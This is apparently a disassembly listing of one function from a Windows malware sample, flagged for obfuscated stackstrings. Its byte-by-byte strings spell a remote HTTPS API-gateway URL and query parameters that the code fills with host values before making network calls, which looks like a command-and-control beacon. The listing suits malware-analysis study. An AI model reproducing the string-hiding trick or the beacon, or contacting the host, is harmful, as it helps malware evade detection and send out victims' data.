Function at 0x140007540
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push rsi
push rdi
sub rsp, 0x4b8
mov qword [rsp + 0x120], 0xfffffffffffffffe
mov rax, qword [0x14009c688]
xor rax, rsp
mov qword [rsp + 0x4a0], rax
lea rcx, [rsp + 0x330]
call fcn.140001880
nop
lea rcx, [rsp + 0x2f0]
call fcn.140001880
nop
mov byte [rsp + 0x450], 0x68
mov byte [rsp + 0x451], 0x74
mov byte [rsp + 0x452], 0x74
mov byte [rsp + 0x453], 0x70
mov byte [rsp + 0x454], 0x73
mov byte [rsp + 0x455], 0x3a
mov byte [rsp + 0x456], 0x2f
mov byte [rsp + 0x457], 0x2f
mov byte [rsp + 0x458], 0x73
mov byte [rsp + 0x459], 0x65
mov byte [rsp + 0x45a], 0x72
mov byte [rsp + 0x45b], 0x76
mov byte [rsp + 0x45c], 0x69
mov byte [rsp + 0x45d], 0x63
mov byte [rsp + 0x45e], 0x65
mov byte [rsp + 0x45f], 0x2d
mov byte [rsp + 0x460], 0x61
mov byte [rsp + 0x461], 0x63
mov byte [rsp + 0x462], 0x63
mov byte [rsp + 0x463], 0x67
mov byte [rsp + 0x464], 0x6b
mov byte [rsp + 0x465], 0x37
mov byte [rsp + 0x466], 0x37
mov byte [rsp + 0x467], 0x6f
mov byte [rsp + 0x468], 0x2d
mov byte [rsp + 0x469], 0x31
mov byte [rsp + 0x46a], 0x32
mov byte [rsp + 0x46b], 0x35
mov byte [rsp + 0x46c], 0x38
mov byte [rsp + 0x46d], 0x35
mov byte [rsp + 0x46e], 0x30
mov byte [rsp + 0x46f], 0x30
mov byte [rsp + 0x470], 0x30
mov byte [rsp + 0x471], 0x36
mov byte [rsp + 0x472], 0x35
mov byte [rsp + 0x473], 0x2e
mov byte [rsp + 0x474], 0x67
mov byte [rsp + 0x475], 0x7a
mov byte [rsp + 0x476], 0x2e
mov byte [rsp + 0x477], 0x74
mov byte [rsp + 0x478], 0x65
mov byte [rsp + 0x479], 0x6e
mov byte [rsp + 0x47a], 0x63
mov byte [rsp + 0x47b], 0x65
mov byte [rsp + 0x47c], 0x6e
mov byte [rsp + 0x47d], 0x74
mov byte [rsp + 0x47e], 0x61
mov byte [rsp + 0x47f], 0x70
mov byte [rsp + 0x480], 0x69
mov byte [rsp + 0x481], 0x67
mov byte [rsp + 0x482], 0x77
mov byte [rsp + 0x483], 0x2e
mov byte [rsp + 0x484], 0x63
mov byte [rsp + 0x485], 0x6f
mov byte [rsp + 0x486], 0x6d
mov byte [rsp + 0x487], 0x2e
mov byte [rsp + 0x488], 0x63
mov byte [rsp + 0x489], 0x6e
mov byte [rsp + 0x48a], 0x2f
mov byte [rsp + 0x48b], 0x72
mov byte [rsp + 0x48c], 0x65
mov byte [rsp + 0x48d], 0x6c
mov byte [rsp + 0x48e], 0x65
mov byte [rsp + 0x48f], 0x61
mov byte [rsp + 0x490], 0x73
mov byte [rsp + 0x491], 0x65
mov byte [rsp + 0x492], 0x2f
mov byte [rsp + 0x493], 0x61
mov byte [rsp + 0x494], 0x70
mov byte [rsp + 0x495], 0x69
mov byte [rsp + 0x496], 0x2f
mov byte [rsp + 0x497], 0
lea rdx, [rsp + 0x450]
lea rcx, [rsp + 0x330]
call fcn.140009780
lea rcx, [rsp + 0x190]
call fcn.1400066e0
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x68], rax
mov rdx, qword [rsp + 0x68]
lea rcx, [rsp + 0x330]
call fcn.140009750
nop
lea rcx, [rsp + 0x190]
call fcn.140001780
mov byte [rsp + 0x430], 0x5f
mov byte [rsp + 0x431], 0x78
mov byte [rsp + 0x432], 0x63
mov byte [rsp + 0x433], 0x3d
mov byte [rsp + 0x434], 0
lea rdx, [rsp + 0x430]
lea rcx, [rsp + 0x2f0]
call fcn.140009780
mov ecx, 1
call fcn.140003890
lea rcx, [rsp + 0x1b0]
call fcn.1400065b0
mov qword [rsp + 0x70], rax
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x78], rax
mov rdx, qword [rsp + 0x78]
lea rcx, [rsp + 0x2f0]
call fcn.140009750
nop
lea rcx, [rsp + 0x1b0]
call fcn.140001780
mov byte [rsp + 0x440], 0x26
mov byte [rsp + 0x441], 0x69
mov byte [rsp + 0x442], 0x6e
mov byte [rsp + 0x443], 0x69
mov byte [rsp + 0x444], 0x64
mov byte [rsp + 0x445], 0x3d
mov byte [rsp + 0x446], 0x63
mov byte [rsp + 0x447], 0
lea rdx, [rsp + 0x440]
lea rcx, [rsp + 0x2f0]
call fcn.140009720
lea rcx, [rsp + 0x3f0]
call fcn.140006b60
nop
lea rcx, [rsp + 0x3b0]
call fcn.140006fc0
nop
mov ecx, 1
call fcn.140003890
lea rcx, [rsp + 0x3d0]
call fcn.140007040
nop
lea r8, [0x14008e76c]
lea rdx, [rsp + 0x3f0]
lea rcx, [rsp + 0x210]
call fcn.14000c050
mov qword [rsp + 0x80], rax
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x88], rax
lea r8, [rsp + 0x3b0]
mov rdx, qword [rsp + 0x88]
lea rcx, [rsp + 0x160]
call fcn.14000c240
mov qword [rsp + 0x90], rax
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x98], rax
lea r8, [0x14008e768]
mov rdx, qword [rsp + 0x98]
lea rcx, [rsp + 0x1f0]
call fcn.14000bff0
mov qword [rsp + 0xa0], rax
mov rax, qword [rsp + 0xa0]
mov qword [rsp + 0xa8], rax
lea r8, [rsp + 0x3d0]
mov rdx, qword [rsp + 0xa8]
lea rcx, [rsp + 0x1d0]
call fcn.14000c240
mov qword [rsp + 0xb0], rax
mov rax, qword [rsp + 0xb0]
mov qword [rsp + 0xb8], rax
lea r8, [0x14008e75c]
mov rdx, qword [rsp + 0xb8]
lea rcx, [rsp + 0x390]
call fcn.14000bff0
nop
lea rcx, [rsp + 0x1d0]
call fcn.140001780
nop
lea rcx, [rsp + 0x1f0]
call fcn.140001780
nop
lea rcx, [rsp + 0x160]
call fcn.140001780
nop
lea rcx, [rsp + 0x210]
call fcn.140001780
lea rax, [rsp + 0x270]
mov qword [rsp + 0xc0], rax
lea rdx, [rsp + 0x390]
mov rcx, qword [rsp + 0xc0]
call fcn.1400098e0
mov qword [rsp + 0xc8], rax
lea rcx, [rsp + 0x390]
call fcn.1400016a0
mov r8d, eax
mov rdx, qword [rsp + 0xc8]
lea rcx, [rsp + 0x350]
call fcn.140001190
nop
mov r8, 0xffffffffffffffff
mov dl, 0x3d
lea rcx, [rsp + 0x350]
call fcn.1400092a0
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0xffffffffffffffff
je 0x140007ae3
mov rax, qword [rsp + 0x48]
inc rax
lea r9, [0x14008e617]
mov r8, 0xffffffffffffffff
mov rdx, rax
lea rcx, [rsp + 0x350]
call fcn.1400095c0
mov byte [rsp + 0x438], 0x26
mov byte [rsp + 0x439], 0x70
mov byte [rsp + 0x43a], 0x69
mov byte [rsp + 0x43b], 0x64
mov byte [rsp + 0x43c], 0x3d
mov byte [rsp + 0x43d], 0x66
mov byte [rsp + 0x43e], 0
lea r8, [rsp + 0x438]
lea rdx, [rsp + 0x350]
lea rcx, [rsp + 0x230]
call fcn.14000c050
mov qword [rsp + 0xd0], rax
mov rax, qword [rsp + 0xd0]
mov qword [rsp + 0xd8], rax
mov rdx, qword [rsp + 0xd8]
lea rcx, [rsp + 0x2f0]
call fcn.140009750
nop
lea rcx, [rsp + 0x230]
call fcn.140001780
mov ecx, 0x64
call fcn.1400037f0
mov ecx, 0x64
call fcn.1400037f0
lea rcx, [rsp + 0x410]
call fcn.140009180
nop
lea rcx, [rsp + 0x370]
call fcn.140006150
nop
mov ecx, 0x1f4
call fcn.1400037f0
mov ecx, 1
call fcn.140003890
mov ecx, 0x3e8
call fcn.1400037f0
lea rcx, [rsp + 0x370]
call fcn.1400094b0
mov rcx, rax
call fcn.140021de0
mov rdx, rax
lea rcx, [rsp + 0x410]
call fcn.1400090d0
lea rdx, [0x14008e62d]
lea rcx, [rsp + 0x310]
call fcn.140009890
nop
call fcn.1400085f0
cmp eax, 5
jle 0x140007cdd
lea rax, [rsp + 0x290]
mov qword [rsp + 0xe0], rax
lea rdx, [rsp + 0x370]
mov rcx, qword [rsp + 0xe0]
call fcn.1400098e0
mov qword [rsp + 0xe8], rax
mov rdx, qword [rsp + 0xe8]
lea rcx, [rsp + 0x250]
call fcn.1400070c0
mov qword [rsp + 0xf0], rax
mov rdx, qword [rsp + 0xf0]
lea rcx, [rsp + 0x310]
call fcn.140009800
lea rcx, [rsp + 0x250]
call fcn.140001780
mov ecx, 0x3e8
call fcn.1400037f0
mov byte [rsp + reloc.WLDAP32.dll_Ordinal_32], 0x20
mov byte [rsp + 0x21], 0x3d
lea rdx, [rsp + 0x128]
lea rcx, [rsp + 0x310]
call fcn.1400094e0
mov qword [rsp + 0xf8], rax
lea rdx, [rsp + 0x130]
lea rcx, [rsp + 0x310]
call fcn.140009550
lea r9, [rsp + 0x20]
lea r8, [rsp + 0x21]
mov rcx, qword [rsp + 0xf8]
mov rdx, qword [rcx]
mov rcx, qword [rax]
call fcn.14000c370
jmp 0x140007e0b
mov ecx, 0x1f4
call fcn.1400037f0
mov byte [rsp + 0x28], 0x68
mov byte [rsp + 0x29], reloc.WS2_32.dll_WSACleanup
mov byte [rsp + 0x2a], reloc.WS2_32.dll_WSACleanup
mov byte [rsp + 0x2b], reloc.WS2_32.dll_WSASetLastError
mov byte [rsp + 0x2c], reloc.WS2_32.dll_WSAStartup
mov byte [rsp + 0x2d], Ordinal_60
mov byte [rsp + 0x2e], Ordinal_50
mov byte [rsp + Ordinal_50], 0x2f
mov byte [rsp + 0x30], WSASetLastError
mov byte [rsp + 0x31], 0x61
mov byte [rsp + 0x32], 0x69
mov byte [rsp + 0x33], WSASetLastError
mov byte [rsp + 0x34], reloc.WLDAP32.dll_Ordinal_46
mov byte [rsp + 0x35], WSACleanup
mov byte [rsp + 0x36], WSACleanup
mov byte [rsp + 0x37], reloc.WLDAP32.dll_Ordinal_46
mov byte [rsp + 0x38], 0x63
mov byte [rsp + 0x39], reloc.WS2_32.dll_WSAGetLastError
mov byte [rsp + 0x3a], WSASetLastError
mov byte [rsp + 0x3b], Ordinal_50
mov byte [rsp + 0x3c], 0
lea rax, [rsp + 0x3d]
mov r8, rax
lea rdx, [rsp + 0x28]
lea rcx, [rsp + 0x180]
call fcn.140009070
lea rcx, [rsp + 0x150]
mov rdi, rcx
mov rsi, rax
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0x150]
lea rcx, [rsp + 0x330]
call fcn.1400097b0
mov ecx, 0x3e8
call fcn.1400037f0
lea rdx, [0x14008e62e]
lea rcx, [rsp + 0x310]
call fcn.140009720
mov byte [rsp + 0x22], reloc.WLDAP32.dll_Ordinal_32
mov byte [rsp + 0x23], 0x3d
lea rdx, [rsp + 0x138]
lea rcx, [rsp + 0x2f0]
call fcn.1400094e0
mov qword [rsp + 0x100], rax
lea rdx, [rsp + 0x140]
lea rcx, [rsp + 0x2f0]
call fcn.140009550
lea r9, [rsp + 0x22]
lea r8, [rsp + 0x23]
mov rcx, qword [rsp + 0x100]
mov rdx, qword [rcx]
mov rcx, qword [rax]
call fcn.14000c370
lea rdx, [rsp + 0x310]
lea rcx, [rsp + 0x2f0]
call fcn.140009750
mov ecx, 0x1f4
call fcn.1400037f0
lea rax, [rsp + 0x2b0]
mov qword [rsp + 0x108], rax
lea rax, [rsp + 0x2d0]
mov qword [rsp + 0x118], rax
lea rdx, [rsp + 0x2f0]
mov rcx, qword [rsp + 0x108]
call fcn.1400098e0
mov qword [rsp + 0x110], rax
mov rax, qword [rsp + 0x110]
mov qword [rsp + 0x50], rax
lea rdx, [rsp + 0x330]
mov rcx, qword [rsp + 0x118]
call fcn.1400098e0
mov qword [rsp + 0x58], rax
mov rdx, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x58]
call fcn.14001efc0
mov dword [rsp + 0x40], 1
lea rcx, [rsp + 0x310]
call fcn.140001780
nop
lea rcx, [rsp + 0x370]
call fcn.140001780
nop
lea rcx, [rsp + 0x410]
call fcn.140009100
nop
lea rcx, [rsp + 0x350]
call fcn.140001780
nop
lea rcx, [rsp + 0x390]
call fcn.140001780
nop
lea rcx, [rsp + 0x3d0]
call fcn.140001780
nop
lea rcx, [rsp + 0x3b0]
call fcn.140001780
nop
lea rcx, [rsp + 0x3f0]
call fcn.140001780
nop
lea rcx, [rsp + 0x2f0]
call fcn.140001780
nop
lea rcx, [rsp + 0x330]
call fcn.140001780
mov eax, dword [rsp + 0x40]
mov rcx, qword [rsp + 0x4a0]
xor rcx, rsp
call fcn.14007c450
add rsp, 0x4b8
pop rdi
pop rsi
ret